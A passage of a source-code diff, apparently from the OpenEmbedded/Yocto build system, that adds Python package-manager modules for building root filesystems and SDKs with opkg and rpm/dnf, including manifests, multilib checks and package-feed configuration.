+ output = subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT).decode("utf-8")
+ bb.note(output)
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Unable to remove packages. Command '%s' "
+ "returned %d:\n%s" % (e.cmd, e.returncode, e.output.decode("utf-8")))
+
+ def write_index(self):
+ self.deploy_dir_lock()
+
+ result = self.indexer.write_index()
+
+ self.deploy_dir_unlock()
+
+ if result is not None:
+ bb.fatal(result)
+
+ def remove_packaging_data(self):
+ cachedir = oe.path.join(self.target_rootfs, self.d.getVar("localstatedir"), "cache", "opkg")
+ bb.utils.remove(self.opkg_dir, True)
+ bb.utils.remove(cachedir, True)
+
+ def remove_lists(self):
+ if not self.from_feeds:
+ bb.utils.remove(os.path.join(self.opkg_dir, "lists"), True)
+
+ def list_installed(self):
+ return PMPkgsList(self.d, self.target_rootfs).list_pkgs()
+
+ def dummy_install(self, pkgs):
+ """
+ The following function dummy installs pkgs and returns the log of output.
+ """
+ if len(pkgs) == 0:
+ return
+
+ # Create an temp dir as opkg root for dummy installation
+ temp_rootfs = self.d.expand('${T}/opkg')
+ opkg_lib_dir = self.d.getVar('OPKGLIBDIR')
+ if opkg_lib_dir[0] == "/":
+ opkg_lib_dir = opkg_lib_dir[1:]
+ temp_opkg_dir = os.path.join(temp_rootfs, opkg_lib_dir, 'opkg')
+ bb.utils.mkdirhier(temp_opkg_dir)
+
+ opkg_args = "-f %s -o %s " % (self.config_file, temp_rootfs)
+ opkg_args += self.d.getVar("OPKG_ARGS")
+
+ cmd = "%s %s update" % (self.opkg_cmd, opkg_args)
+ try:
+ subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Unable to update. Command '%s' "
+ "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
+
+ # Dummy installation
+ cmd = "%s %s --noaction install %s " % (self.opkg_cmd,
+ opkg_args,
+ ' '.join(pkgs))
+ try:
+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Unable to dummy install packages. Command '%s' "
+ "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
+
+ bb.utils.remove(temp_rootfs, True)
+
+ return output
+
+ def backup_packaging_data(self):
+ # Save the opkglib for increment ipk image generation
+ if os.path.exists(self.saved_opkg_dir):
+ bb.utils.remove(self.saved_opkg_dir, True)
+ shutil.copytree(self.opkg_dir,
+ self.saved_opkg_dir,
+ symlinks=True)
+
+ def recover_packaging_data(self):
+ # Move the opkglib back
+ if os.path.exists(self.saved_opkg_dir):
+ if os.path.exists(self.opkg_dir):
+ bb.utils.remove(self.opkg_dir, True)
+
+ bb.note('Recover packaging data')
+ shutil.copytree(self.saved_opkg_dir,
+ self.opkg_dir,
+ symlinks=True)
+
+ def package_info(self, pkg):
+ """
+ Returns a dictionary with the package info.
+ """
+ cmd = "%s %s info %s" % (self.opkg_cmd, self.opkg_args, pkg)
+ pkg_info = super(OpkgPM, self).package_info(pkg, cmd)
+
+ pkg_arch = pkg_info[pkg]["arch"]
+ pkg_filename = pkg_info[pkg]["filename"]
+ pkg_info[pkg]["filepath"] = \
+ os.path.join(self.deploy_dir, pkg_arch, pkg_filename)
+
+ return pkg_info
+
+ def extract(self, pkg):
+ """
+ Returns the path to a tmpdir where resides the contents of a package.
+
+ Deleting the tmpdir is responsability of the caller.
+ """
+ pkg_info = self.package_info(pkg)
+ if not pkg_info:
+ bb.fatal("Unable to get information for package '%s' while "
+ "trying to extract the package." % pkg)
+
+ tmp_dir = super(OpkgPM, self).extract(pkg, pkg_info)
+ bb.utils.remove(os.path.join(tmp_dir, "data.tar.xz"))
+
+ return tmp_dir
diff --git a/meta/lib/oe/package_manager/ipk/manifest.py b/meta/lib/oe/package_manager/ipk/manifest.py
new file mode 100644
index 0000000000..ae451c5c70
--- /dev/null
+++ b/meta/lib/oe/package_manager/ipk/manifest.py
@@ -0,0 +1,74 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+from oe.manifest import Manifest
+import re
+
+class PkgManifest(Manifest):
+ """
+ Returns a dictionary object with mip and mlp packages.
+ """
+ def _split_multilib(self, pkg_list):
+ pkgs = dict()
+
+ for pkg in pkg_list.split():
+ pkg_type = self.PKG_TYPE_MUST_INSTALL
+
+ ml_variants = self.d.getVar('MULTILIB_VARIANTS').split()
+
+ for ml_variant in ml_variants:
+ if pkg.startswith(ml_variant + '-'):
+ pkg_type = self.PKG_TYPE_MULTILIB
+
+ if not pkg_type in pkgs:
+ pkgs[pkg_type] = pkg
+ else:
+ pkgs[pkg_type] += " " + pkg
+
+ return pkgs
+
+ def create_initial(self):
+ pkgs = dict()
+
+ with open(self.initial_manifest, "w+") as manifest:
+ manifest.write(self.initial_manifest_file_header)
+
+ for var in self.var_maps[self.manifest_type]:
+ if var in self.vars_to_split:
+ split_pkgs = self._split_multilib(self.d.getVar(var))
+ if split_pkgs is not None:
+ pkgs = dict(list(pkgs.items()) + list(split_pkgs.items()))
+ else:
+ pkg_list = self.d.getVar(var)
+ if pkg_list is not None:
+ pkgs[self.var_maps[self.manifest_type][var]] = self.d.getVar(var)
+
+ for pkg_type in sorted(pkgs):
+ for pkg in sorted(pkgs[pkg_type].split()):
+ manifest.write("%s,%s\n" % (pkg_type, pkg))
+
+ def create_final(self):
+ pass
+
+ def create_full(self, pm):
+ if not os.path.exists(self.initial_manifest):
+ self.create_initial()
+
+ initial_manifest = self.parse_initial_manifest()
+ pkgs_to_install = list()
+ for pkg_type in initial_manifest:
+ pkgs_to_install += initial_manifest[pkg_type]
+ if len(pkgs_to_install) == 0:
+ return
+
+ output = pm.dummy_install(pkgs_to_install).decode('utf-8')
+
+ with open(self.full_manifest, 'w+') as manifest:
+ pkg_re = re.compile('^Installing ([^ ]+) [^ ].*')
+ for line in set(output.split('\n')):
+ m = pkg_re.match(line)
+ if m:
+ manifest.write(m.group(1) + '\n')
+
+ return
diff --git a/meta/lib/oe/package_manager/ipk/rootfs.py b/meta/lib/oe/package_manager/ipk/rootfs.py
new file mode 100644
index 0000000000..10a831994e
--- /dev/null
+++ b/meta/lib/oe/package_manager/ipk/rootfs.py
@@ -0,0 +1,350 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import re
+import filecmp
+import shutil
+from oe.rootfs import Rootfs
+from oe.manifest import Manifest
+from oe.utils import execute_pre_post_process
+from oe.package_manager.ipk.manifest import PkgManifest
+from oe.package_manager.ipk import OpkgPM
+
+class DpkgOpkgRootfs(Rootfs):
+ def __init__(self, d, progress_reporter=None, logcatcher=None):
+ super(DpkgOpkgRootfs, self).__init__(d, progress_reporter, logcatcher)
+
+ def _get_pkgs_postinsts(self, status_file):
+ def _get_pkg_depends_list(pkg_depends):
+ pkg_depends_list = []
+ # filter version requirements like libc (>= 1.1)
+ for dep in pkg_depends.split(', '):
+ m_dep = re.match(r"^(.*) \(.*\)$", dep)
+ if m_dep:
+ dep = m_dep.group(1)
+ pkg_depends_list.append(dep)
+
+ return pkg_depends_list
+
+ pkgs = {}
+ pkg_name = ""
+ pkg_status_match = False
+ pkg_depends = ""
+
+ with open(status_file) as status:
+ data = status.read()
+ status.close()
+ for line in data.split('\n'):
+ m_pkg = re.match(r"^Package: (.*)", line)
+ m_status = re.match(r"^Status:.*unpacked", line)
+ m_depends = re.match(r"^Depends: (.*)", line)
+
+ #Only one of m_pkg, m_status or m_depends is not None at time
+ #If m_pkg is not None, we started a new package
+ if m_pkg is not None:
+ #Get Package name
+ pkg_name = m_pkg.group(1)
+ #Make sure we reset other variables
+ pkg_status_match = False
+ pkg_depends = ""
+ elif m_status is not None:
+ #New status matched
+ pkg_status_match = True
+ elif m_depends is not None:
+ #New depends macthed
+ pkg_depends = m_depends.group(1)
+ else:
+ pass
+
+ #Now check if we can process package depends and postinst
+ if "" != pkg_name and pkg_status_match:
+ pkgs[pkg_name] = _get_pkg_depends_list(pkg_depends)
+ else:
+ #Not enough information
+ pass
+
+ # remove package dependencies not in postinsts
+ pkg_names = list(pkgs.keys())
+ for pkg_name in pkg_names:
+ deps = pkgs[pkg_name][:]
+
+ for d in deps:
+ if d not in pkg_names:
+ pkgs[pkg_name].remove(d)
+
+ return pkgs
+
+ def _get_delayed_postinsts_common(self, status_file):
+ def _dep_resolve(graph, node, resolved, seen):
+ seen.append(node)
+
+ for edge in graph[node]:
+ if edge not in resolved:
+ if edge in seen:
+ raise RuntimeError("Packages %s and %s have " \
+ "a circular dependency in postinsts scripts." \
+ % (node, edge))
+ _dep_resolve(graph, edge, resolved, seen)
+
+ resolved.append(node)
+
+ pkg_list = []
+
+ pkgs = None
+ if not self.d.getVar('PACKAGE_INSTALL').strip():
+ bb.note("Building empty image")
+ else:
+ pkgs = self._get_pkgs_postinsts(status_file)
+ if pkgs:
+ root = "__packagegroup_postinst__"
+ pkgs[root] = list(pkgs.keys())
+ _dep_resolve(pkgs, root, pkg_list, [])
+ pkg_list.remove(root)
+
+ if len(pkg_list) == 0:
+ return None
+
+ return pkg_list
+
+ def _save_postinsts_common(self, dst_postinst_dir, src_postinst_dir):
+ if bb.utils.contains("IMAGE_FEATURES", "package-management",
+ True, False, self.d):
+ return
+ num = 0
+ for p in self._get_delayed_postinsts():
+ bb.utils.mkdirhier(dst_postinst_dir)
+
+ if os.path.exists(os.path.join(src_postinst_dir, p + ".postinst")):
+ shutil.copy(os.path.join(src_postinst_dir, p + ".postinst"),
+ os.path.join(dst_postinst_dir, "%03d-%s" % (num, p)))
+
+ num += 1
+
+class PkgRootfs(DpkgOpkgRootfs):
+ def __init__(self, d, manifest_dir, progress_reporter=None, logcatcher=None):
+ super(PkgRootfs, self).__init__(d, progress_reporter, logcatcher)
+ self.log_check_regex = '(exit 1|Collected errors)'
+
+ self.manifest = PkgManifest(d, manifest_dir)
+ self.opkg_conf = self.d.getVar("IPKGCONF_TARGET")
+ self.pkg_archs = self.d.getVar("ALL_MULTILIB_PACKAGE_ARCHS")
+
+ self.inc_opkg_image_gen = self.d.getVar('INC_IPK_IMAGE_GEN') or ""
+ if self._remove_old_rootfs():
+ bb.utils.remove(self.image_rootfs, True)
+ self.pm = OpkgPM(d,
+ self.image_rootfs,
+ self.opkg_conf,
+ self.pkg_archs)
+ else:
+ self.pm = OpkgPM(d,
+ self.image_rootfs,
+ self.opkg_conf,
+ self.pkg_archs)
+ self.pm.recover_packaging_data()
+
+ bb.utils.remove(self.d.getVar('MULTILIB_TEMP_ROOTFS'), True)
+ '''
+ Compare two files with the same key twice to see if they are equal.
+ If they are not equal, it means they are duplicated and come from
+ different packages.
+ '''
+ def _file_equal(self, key, f1, f2):
+ if filecmp.cmp(f1, f2):
+ return True
+ # Not equal
+ return False
+
+ """
+ This function was reused from the old implementation.
+ See commit: "image.bbclass: Added variables for multilib support." by
+ Lianhao Lu.
+ """
+ def _multilib_sanity_test(self, dirs):
+
+ allow_replace = self.d.getVar("MULTILIBRE_ALLOW_REP")
+ if allow_replace is None:
+ allow_replace = ""
+
+ allow_rep = re.compile(re.sub(r"\|$", r"", allow_replace))
+ error_prompt = "Multilib check error:"
+
+ files = {}
+ for dir in dirs:
+ for root, subfolders, subfiles in os.walk(dir):
+ for file in subfiles:
+ item = os.path.join(root, file)
+ key = str(os.path.join("/", os.path.relpath(item, dir)))
+
+ valid = True
+ if key in files:
+ #check whether the file is allow to replace
+ if allow_rep.match(key):
+ valid = True
+ else:
+ if os.path.exists(files[key]) and \
+ os.path.exists(item) and \
+ not self._file_equal(key, files[key], item):
+ valid = False
+ bb.fatal("%s duplicate files %s %s is not the same\n" %
+ (error_prompt, item, files[key]))
+
+ #pass the check, add to list
+ if valid:
+ files[key] = item
+
+ def _multilib_test_install(self, pkgs):
+ ml_temp = self.d.getVar("MULTILIB_TEMP_ROOTFS")
+ bb.utils.mkdirhier(ml_temp)
+
+ dirs = [self.image_rootfs]
+
+ for variant in self.d.getVar("MULTILIB_VARIANTS").split():
+ ml_target_rootfs = os.path.join(ml_temp, variant)
+
+ bb.utils.remove(ml_target_rootfs, True)
+
+ ml_opkg_conf = os.path.join(ml_temp,
+ variant + "-" + os.path.basename(self.opkg_conf))
+
+ ml_pm = OpkgPM(self.d, ml_target_rootfs, ml_opkg_conf, self.pkg_archs, prepare_index=False)
+
+ ml_pm.update()
+ ml_pm.install(pkgs)
+
+ dirs.append(ml_target_rootfs)
+
+ self._multilib_sanity_test(dirs)
+
+ '''
+ While ipk incremental image generation is enabled, it will remove the
+ unneeded pkgs by comparing the old full manifest in previous existing
+ image and the new full manifest in the current image.
+ '''
+ def _remove_extra_packages(self, pkgs_initial_install):
+ if self.inc_opkg_image_gen == "1":
+ # Parse full manifest in previous existing image creation session
+ old_full_manifest = self.manifest.parse_full_manifest()
+
+ # Create full manifest for the current image session, the old one
+ # will be replaced by the new one.
+ self.manifest.create_full(self.pm)
+
+ # Parse full manifest in current image creation session
+ new_full_manifest = self.manifest.parse_full_manifest()
+
+ pkg_to_remove = list()
+ for pkg in old_full_manifest:
+ if pkg not in new_full_manifest:
+ pkg_to_remove.append(pkg)
+
+ if pkg_to_remove != []:
+ bb.note('decremental removed: %s' % ' '.join(pkg_to_remove))
+ self.pm.remove(pkg_to_remove)
+
+ '''
+ Compare with previous existing image creation, if some conditions
+ triggered, the previous old image should be removed.
+ The conditions include any of 'PACKAGE_EXCLUDE, NO_RECOMMENDATIONS
+ and BAD_RECOMMENDATIONS' has been changed.
+ '''
+ def _remove_old_rootfs(self):
+ if self.inc_opkg_image_gen != "1":
+ return True
+
+ vars_list_file = self.d.expand('${T}/vars_list')
+
+ old_vars_list = ""
+ if os.path.exists(vars_list_file):
+ old_vars_list = open(vars_list_file, 'r+').read()
+
+ new_vars_list = '%s:%s:%s\n' % \
+ ((self.d.getVar('BAD_RECOMMENDATIONS') or '').strip(),
+ (self.d.getVar('NO_RECOMMENDATIONS') or '').strip(),
+ (self.d.getVar('PACKAGE_EXCLUDE') or '').strip())
+ open(vars_list_file, 'w+').write(new_vars_list)
+
+ if old_vars_list != new_vars_list:
+ return True
+
+ return False
+
+ def _create(self):
+ pkgs_to_install = self.manifest.parse_initial_manifest()
+ opkg_pre_process_cmds = self.d.getVar('OPKG_PREPROCESS_COMMANDS')
+ opkg_post_process_cmds = self.d.getVar('OPKG_POSTPROCESS_COMMANDS')
+
+ # update PM index files
+ self.pm.write_index()
+
+ execute_pre_post_process(self.d, opkg_pre_process_cmds)
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+ # Steps are a bit different in order, skip next
+ self.progress_reporter.next_stage()
+
+ self.pm.update()
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ if self.inc_opkg_image_gen == "1":
+ self._remove_extra_packages(pkgs_to_install)
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ for pkg_type in self.install_order:
+ if pkg_type in pkgs_to_install:
+ # For multilib, we perform a sanity test before final install
+ # If sanity test fails, it will automatically do a bb.fatal()
+ # and the installation will stop
+ if pkg_type == Manifest.PKG_TYPE_MULTILIB:
+ self._multilib_test_install(pkgs_to_install[pkg_type])
+
+ self.pm.install(pkgs_to_install[pkg_type],
+ [False, True][pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY])
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ self.pm.install_complementary()
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ opkg_lib_dir = self.d.getVar('OPKGLIBDIR')
+ opkg_dir = os.path.join(opkg_lib_dir, 'opkg')
+ self._setup_dbg_rootfs([opkg_dir])
+
+ execute_pre_post_process(self.d, opkg_post_process_cmds)
+
+ if self.inc_opkg_image_gen == "1":
+ self.pm.backup_packaging_data()
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ @staticmethod
+ def _depends_list():
+ return ['IPKGCONF_SDK', 'IPK_FEED_URIS', 'DEPLOY_DIR_IPK', 'IPKGCONF_TARGET', 'INC_IPK_IMAGE_GEN', 'OPKG_ARGS', 'OPKGLIBDIR', 'OPKG_PREPROCESS_COMMANDS', 'OPKG_POSTPROCESS_COMMANDS', 'OPKGLIBDIR']
+
+ def _get_delayed_postinsts(self):
+ status_file = os.path.join(self.image_rootfs,
+ self.d.getVar('OPKGLIBDIR').strip('/'),
+ "opkg", "status")
+ return self._get_delayed_postinsts_common(status_file)
+
+ def _save_postinsts(self):
+ dst_postinst_dir = self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/ipk-postinsts")
+ src_postinst_dir = self.d.expand("${IMAGE_ROOTFS}${OPKGLIBDIR}/opkg/info")
+ return self._save_postinsts_common(dst_postinst_dir, src_postinst_dir)
+
+ def _log_check(self):
+ self._log_check_warn()
+ self._log_check_error()
+
+ def _cleanup(self):
+ self.pm.remove_lists()
diff --git a/meta/lib/oe/package_manager/ipk/sdk.py b/meta/lib/oe/package_manager/ipk/sdk.py
new file mode 100644
index 0000000000..e2ca415c8e
--- /dev/null
+++ b/meta/lib/oe/package_manager/ipk/sdk.py
@@ -0,0 +1,102 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import glob
+import shutil
+from oe.utils import execute_pre_post_process
+from oe.sdk import Sdk
+from oe.package_manager.ipk.manifest import PkgManifest
+from oe.manifest import Manifest
+from oe.package_manager.ipk import OpkgPM
+
+class PkgSdk(Sdk):
+ def __init__(self, d, manifest_dir=None):
+ super(PkgSdk, self).__init__(d, manifest_dir)
+
+ # In sdk_list_installed_packages the call to opkg is hardcoded to
+ # always use IPKGCONF_TARGET and there's no exposed API to change this
+ # so simply override IPKGCONF_TARGET to use this separated config file.
+ ipkgconf_sdk_target = d.getVar("IPKGCONF_SDK_TARGET")
+ d.setVar("IPKGCONF_TARGET", ipkgconf_sdk_target)
+
+ self.target_conf = self.d.getVar("IPKGCONF_TARGET")
+ self.host_conf = self.d.getVar("IPKGCONF_SDK")
+
+ self.target_manifest = PkgManifest(d, self.manifest_dir,
+ Manifest.MANIFEST_TYPE_SDK_TARGET)
+ self.host_manifest = PkgManifest(d, self.manifest_dir,
+ Manifest.MANIFEST_TYPE_SDK_HOST)
+
+ ipk_repo_workdir = "oe-sdk-repo"
+ if "sdk_ext" in d.getVar("BB_RUNTASK"):
+ ipk_repo_workdir = "oe-sdk-ext-repo"
+
+ self.target_pm = OpkgPM(d, self.sdk_target_sysroot, self.target_conf,
+ self.d.getVar("ALL_MULTILIB_PACKAGE_ARCHS"),
+ ipk_repo_workdir=ipk_repo_workdir)
+
+ self.host_pm = OpkgPM(d, self.sdk_host_sysroot, self.host_conf,
+ self.d.getVar("SDK_PACKAGE_ARCHS"),
+ ipk_repo_workdir=ipk_repo_workdir)
+
+ def _populate_sysroot(self, pm, manifest):
+ pkgs_to_install = manifest.parse_initial_manifest()
+
+ if (self.d.getVar('BUILD_IMAGES_FROM_FEEDS') or "") != "1":
+ pm.write_index()
+
+ pm.update()
+
+ for pkg_type in self.install_order:
+ if pkg_type in pkgs_to_install:
+ pm.install(pkgs_to_install[pkg_type],
+ [False, True][pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY])
+
+ def _populate(self):
+ execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_PRE_TARGET_COMMAND"))
+
+ bb.note("Installing TARGET packages")
+ self._populate_sysroot(self.target_pm, self.target_manifest)
+
+ self.target_pm.install_complementary(self.d.getVar('SDKIMAGE_INSTALL_COMPLEMENTARY'))
+
+ self.target_pm.run_intercepts(populate_sdk='target')
+
+ execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_TARGET_COMMAND"))
+
+ if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
+ self.target_pm.remove_packaging_data()
+
+ bb.note("Installing NATIVESDK packages")
+ self._populate_sysroot(self.host_pm, self.host_manifest)
+ self.install_locales(self.host_pm)
+
+ self.host_pm.run_intercepts(populate_sdk='host')
+
+ execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_HOST_COMMAND"))
+
+ if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
+ self.host_pm.remove_packaging_data()
+
+ target_sysconfdir = os.path.join(self.sdk_target_sysroot, self.sysconfdir)
+ host_sysconfdir = os.path.join(self.sdk_host_sysroot, self.sysconfdir)
+
+ self.mkdirhier(target_sysconfdir)
+ shutil.copy(self.target_conf, target_sysconfdir)
+ os.chmod(os.path.join(target_sysconfdir,
+ os.path.basename(self.target_conf)), 0o644)
+
+ self.mkdirhier(host_sysconfdir)
+ shutil.copy(self.host_conf, host_sysconfdir)
+ os.chmod(os.path.join(host_sysconfdir,
+ os.path.basename(self.host_conf)), 0o644)
+
+ native_opkg_state_dir = os.path.join(self.sdk_output, self.sdk_native_path,
+ self.d.getVar('localstatedir_nativesdk').strip('/'),
+ "lib", "opkg")
+ self.mkdirhier(native_opkg_state_dir)
+ for f in glob.glob(os.path.join(self.sdk_output, "var", "lib", "opkg", "*")):
+ self.movefile(f, native_opkg_state_dir)
+
+ self.remove(os.path.join(self.sdk_output, "var"), True)
diff --git a/meta/lib/oe/package_manager/rpm/__init__.py b/meta/lib/oe/package_manager/rpm/__init__.py
new file mode 100644
index 0000000000..b392581069
--- /dev/null
+++ b/meta/lib/oe/package_manager/rpm/__init__.py
@@ -0,0 +1,410 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import shutil
+import subprocess
+from oe.package_manager import *
+
+class RpmIndexer(Indexer):
+ def write_index(self):
+ self.do_write_index(self.deploy_dir)
+
+ def do_write_index(self, deploy_dir):
+ if self.d.getVar('PACKAGE_FEED_SIGN') == '1':
+ signer = get_signer(self.d, self.d.getVar('PACKAGE_FEED_GPG_BACKEND'))
+ else:
+ signer = None
+
+ createrepo_c = bb.utils.which(os.environ['PATH'], "createrepo_c")
+ result = create_index("%s --update -q %s" % (createrepo_c, deploy_dir))
+ if result:
+ bb.fatal(result)
+
+ # Sign repomd
+ if signer:
+ sig_type = self.d.getVar('PACKAGE_FEED_GPG_SIGNATURE_TYPE')
+ is_ascii_sig = (sig_type.upper() != "BIN")
+ signer.detach_sign(os.path.join(deploy_dir, 'repodata', 'repomd.xml'),
+ self.d.getVar('PACKAGE_FEED_GPG_NAME'),
+ self.d.getVar('PACKAGE_FEED_GPG_PASSPHRASE_FILE'),
+ armor=is_ascii_sig)
+
+class RpmSubdirIndexer(RpmIndexer):
+ def write_index(self):
+ bb.note("Generating package index for %s" %(self.deploy_dir))
+ # Remove the existing repodata to ensure that we re-generate it no matter what
+ bb.utils.remove(os.path.join(self.deploy_dir, "repodata"), recurse=True)
+
+ self.do_write_index(self.deploy_dir)
+ for entry in os.walk(self.deploy_dir):
+ if os.path.samefile(self.deploy_dir, entry[0]):
+ for dir in entry[1]:
+ if dir != 'repodata':
+ dir_path = oe.path.join(self.deploy_dir, dir)
+ bb.note("Generating package index for %s" %(dir_path))
+ self.do_write_index(dir_path)
+
+
+class PMPkgsList(PkgsList):
+ def list_pkgs(self):
+ return RpmPM(self.d, self.rootfs_dir, self.d.getVar('TARGET_VENDOR'), needfeed=False).list_installed()
+
+class RpmPM(PackageManager):
+ def __init__(self,
+ d,
+ target_rootfs,
+ target_vendor,
+ task_name='target',
+ arch_var=None,
+ os_var=None,
+ rpm_repo_workdir="oe-rootfs-repo",
+ filterbydependencies=True,
+ needfeed=True):
+ super(RpmPM, self).__init__(d, target_rootfs)
+ self.target_vendor = target_vendor
+ self.task_name = task_name
+ if arch_var == None:
+ self.archs = self.d.getVar('ALL_MULTILIB_PACKAGE_ARCHS').replace("-","_")
+ else:
+ self.archs = self.d.getVar(arch_var).replace("-","_")
+ if task_name == "host":
+ self.primary_arch = self.d.getVar('SDK_ARCH')
+ else:
+ self.primary_arch = self.d.getVar('MACHINE_ARCH')
+
+ if needfeed:
+ self.rpm_repo_dir = oe.path.join(self.d.getVar('WORKDIR'), rpm_repo_workdir)
+ create_packages_dir(self.d, oe.path.join(self.rpm_repo_dir, "rpm"), d.getVar("DEPLOY_DIR_RPM"), "package_write_rpm", filterbydependencies)
+
+ self.saved_packaging_data = self.d.expand('${T}/saved_packaging_data/%s' % self.task_name)
+ if not os.path.exists(self.d.expand('${T}/saved_packaging_data')):
+ bb.utils.mkdirhier(self.d.expand('${T}/saved_packaging_data'))
+ self.packaging_data_dirs = ['etc/rpm', 'etc/rpmrc', 'etc/dnf', 'var/lib/rpm', 'var/lib/dnf', 'var/cache/dnf']
+ self.solution_manifest = self.d.expand('${T}/saved/%s_solution' %
+ self.task_name)
+ if not os.path.exists(self.d.expand('${T}/saved')):
+ bb.utils.mkdirhier(self.d.expand('${T}/saved'))
+
+ def _configure_dnf(self):
+ # libsolv handles 'noarch' internally, we don't need to specify it explicitly
+ archs = [i for i in reversed(self.archs.split()) if i not in ["any", "all", "noarch"]]
+ # This prevents accidental matching against libsolv's built-in policies
+ if len(archs) <= 1:
+ archs = archs + ["bogusarch"]
+ # This architecture needs to be upfront so that packages using it are properly prioritized
+ archs = ["sdk_provides_dummy_target"] + archs
+ confdir = "%s/%s" %(self.target_rootfs, "etc/dnf/vars/")
+ bb.utils.mkdirhier(confdir)
+ open(confdir + "arch", 'w').write(":".join(archs))
+ distro_codename = self.d.getVar('DISTRO_CODENAME')
+ open(confdir + "releasever", 'w').write(distro_codename if distro_codename is not None else '')
+
+ open(oe.path.join(self.target_rootfs, "etc/dnf/dnf.conf"), 'w').write("")
+
+
+ def _configure_rpm(self):
+ # We need to configure rpm to use our primary package architecture as the installation architecture,
+ # and to make it compatible with other package architectures that we use.
+ # Otherwise it will refuse to proceed with packages installation.
+ platformconfdir = "%s/%s" %(self.target_rootfs, "etc/rpm/")
+ rpmrcconfdir = "%s/%s" %(self.target_rootfs, "etc/")
+ bb.utils.mkdirhier(platformconfdir)
+ open(platformconfdir + "platform", 'w').write("%s-pc-linux" % self.primary_arch)
+ with open(rpmrcconfdir + "rpmrc", 'w') as f:
+ f.write("arch_compat: %s: %s\n" % (self.primary_arch, self.archs if len(self.archs) > 0 else self.primary_arch))
+ f.write("buildarch_compat: %s: noarch\n" % self.primary_arch)
+
+ open(platformconfdir + "macros", 'w').write("%_transaction_color 7\n")
+ if self.d.getVar('RPM_PREFER_ELF_ARCH'):
+ open(platformconfdir + "macros", 'a').write("%%_prefer_color %s" % (self.d.getVar('RPM_PREFER_ELF_ARCH')))
+
+ if self.d.getVar('RPM_SIGN_PACKAGES') == '1':
+ signer = get_signer(self.d, self.d.getVar('RPM_GPG_BACKEND'))
+ pubkey_path = oe.path.join(self.d.getVar('B'), 'rpm-key')
+ signer.export_pubkey(pubkey_path, self.d.getVar('RPM_GPG_NAME'))
+ rpm_bin = bb.utils.which(os.getenv('PATH'), "rpmkeys")
+ cmd = [rpm_bin, '--root=%s' % self.target_rootfs, '--import', pubkey_path]
+ try:
+ subprocess.check_output(cmd, stderr=subprocess.STDOUT)
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Importing GPG key failed. Command '%s' "
+ "returned %d:\n%s" % (' '.join(cmd), e.returncode, e.output.decode("utf-8")))
+
+ def create_configs(self):
+ self._configure_dnf()
+ self._configure_rpm()
+
+ def write_index(self):
+ lockfilename = self.d.getVar('DEPLOY_DIR_RPM') + "/rpm.lock"
+ lf = bb.utils.lockfile(lockfilename, False)
+ RpmIndexer(self.d, self.rpm_repo_dir).write_index()
+ bb.utils.unlockfile(lf)
+
+ def insert_feeds_uris(self, feed_uris, feed_base_paths, feed_archs):
+ from urllib.parse import urlparse
+
+ if feed_uris == "":
+ return
+
+ gpg_opts = ''
+ if self.d.getVar('PACKAGE_FEED_SIGN') == '1':
+ gpg_opts += 'repo_gpgcheck=1\n'
+ gpg_opts += 'gpgkey=file://%s/pki/packagefeed-gpg/PACKAGEFEED-GPG-KEY-%s-%s\n' % (self.d.getVar('sysconfdir'), self.d.getVar('DISTRO'), self.d.getVar('DISTRO_CODENAME'))
+
+ if self.d.getVar('RPM_SIGN_PACKAGES') != '1':
+ gpg_opts += 'gpgcheck=0\n'
+
+ bb.utils.mkdirhier(oe.path.join(self.target_rootfs, "etc", "yum.repos.d"))
+ remote_uris = self.construct_uris(feed_uris.split(), feed_base_paths.split())
+ for uri in remote_uris:
+ repo_base = "oe-remote-repo" + "-".join(urlparse(uri).path.split("/"))
+ if feed_archs is not None:
+ for arch in feed_archs.split():
+ repo_uri = uri + "/" + arch
+ repo_id = "oe-remote-repo" + "-".join(urlparse(repo_uri).path.split("/"))
+ repo_name = "OE Remote Repo:" + " ".join(urlparse(repo_uri).path.split("/"))
+ open(oe.path.join(self.target_rootfs, "etc", "yum.repos.d", repo_base + ".repo"), 'a').write(
+ "[%s]\nname=%s\nbaseurl=%s\n%s\n" % (repo_id, repo_name, repo_uri, gpg_opts))
+ else:
+ repo_name = "OE Remote Repo:" + " ".join(urlparse(uri).path.split("/"))
+ repo_uri = uri
+ open(oe.path.join(self.target_rootfs, "etc", "yum.repos.d", repo_base + ".repo"), 'w').write(
+ "[%s]\nname=%s\nbaseurl=%s\n%s" % (repo_base, repo_name, repo_uri, gpg_opts))
+
+ def _prepare_pkg_transaction(self):
+ os.environ['D'] = self.target_rootfs
+ os.environ['OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['IPKG_OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['OPKG_OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['INTERCEPT_DIR'] = self.intercepts_dir
+ os.environ['NATIVE_ROOT'] = self.d.getVar('STAGING_DIR_NATIVE')
+
+
+ def install(self, pkgs, attempt_only = False):
+ if len(pkgs) == 0:
+ return
+ self._prepare_pkg_transaction()
+
